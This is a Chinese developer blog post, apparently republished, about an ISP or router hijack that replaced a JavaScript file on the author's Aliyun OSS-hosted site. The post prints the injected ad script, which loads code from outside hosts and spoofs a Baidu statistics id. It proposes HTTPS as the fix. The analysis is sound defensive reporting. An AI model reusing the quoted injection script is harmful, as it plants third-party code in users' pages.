js去除运营商或者路由器添加的广告脚本
2017-07-26 11:10
274 查看
是不是偶尔发现在家里看网页的时候回插入一个广告,很烦人。开发的网站,上传到了阿里云 oss,设置了域名解析,但是在家里晚上访问的时候,总会在页面添加一个广告,导致页面卡主,一开始以为是路由器的问题,以为是中毒了,后来发现应该是运营商加的广告,不清楚是阿里oss出口加的,还是运营商加的。
看见了没,比较高级,居然会自动替换js文件。经测试会随机挑选首页中加载的js文件替换。
解决方法:
https引用的文件,一般不容易被劫持。
这段脚本现在还不知道是阿里云oss那边注入的还是运营商的问题,希望有关部门可以管管。
这边查了一下oss出来的文件是没有问题的,但是为什么会被注入?比较质疑?应该是运营商的问题,奶奶的,直接注入广告!
分析
测试发现,访问网站首页的时候,有一个js文件被替换,被替换后的js代码如下:(function() { o = "http://youxi919.com/h5web/js/index.js?"; sh = "http://218.93.127.37:7701/main.js?v=3.94&sp=304&ty=dpc"; w = window; d = document; function ins(s, dm, id) { e = d.createElement("script"); e.src = s; e.type = "text/javascript"; id ? e.id = id: null; dm.appendChild(e); }; p = d.scripts[d.scripts.length - 1].parentNode; ins(o, p); ds = function() { db = d.body; if (db && !document.getElementById("bdstat")) { if ((w.innerWidth || d.documentElement.clientWidth || db.clientWidth) > 1) { if (w.top == w.self) { ins(sh, db, "bdstat"); } } } else { setTimeout("ds()", 1500); } }; ds(); })(); var mim_params = { 'sp': '304', 'aid': '13050', 'sda_man': 'XVpZWldNXV1fWFNA', 'src': '0', 'adtype': '1', 'uid': 'VCpdXydAXCotUlNNKytcWF07LlxaWlJPLF1cKSQ/LyleXlJIX1teWVRKW1Y=', 'spid': 'sohu', 'ad_list': '13050' };
看见了没,比较高级,居然会自动替换js文件。经测试会随机挑选首页中加载的js文件替换。
解决方法:
可以把JS文件放在第三方的CDN上,然后页面采用https去引用JS文件,或者自己服务器安装SSL证书以支持https协议
https引用的文件,一般不容易被劫持。
这段脚本现在还不知道是阿里云oss那边注入的还是运营商的问题,希望有关部门可以管管。
这边查了一下oss出来的文件是没有问题的,但是为什么会被注入?比较质疑?应该是运营商的问题,奶奶的,直接注入广告!
相关文章推荐
- 在数据显示页中当要打开“添加页”或者“编辑页”时的js脚本代码
- web developer tips (35):为js文件中的脚本库添加智能提示
- js正则表达式,去除首尾多余的空格或者换行
- 6.游戏特别离不开脚本(3)-JS脚本操作java(2)(直接解析JS公式,并非完整JS文件或者函数)
- 批量添加JS脚本,像126发送邮件时的上传附件,可以自由增,减
- Outlook发邮件时忘记写主题或者添加附件的脚本解决方法
- jsp中小脚本<%%>与html或者js脚本的嵌套
- Js:getAttribute 取html中某个元素属性的值 或者设置添加属性和值
- 为radio类型的INPUT添加客户端脚本(附加实现JS来禁用onClick事件思路代码)
- js脚本——添加收藏、设置首页
- 飘浮广告显示脚本类(VBS,JS双版)
- web developer tips (35):为js文件中的脚本库添加智能提示
- 去除在线看电影或者电视剧、综艺节目之前各种广告
- Unity属性——AddComponentMenu 字面理解:添加 组件选项菜单 分析:可能是添加一个脚本或者组件到一个物体上 验证: 新建一个脚本:AttributeTest 提示:添
- 原生JS 添加或者删除某个class
- mysql为字段值添加或者去除前缀、后缀
- shell 脚本 更新或者添加host
- Yii: 如何把JS脚本添加到CGridView数据行的操作按钮中
- JS /Jquery脚本去除 空格 回车 换行
- 去除在线看电影或者电视剧、综艺节目之前各种广告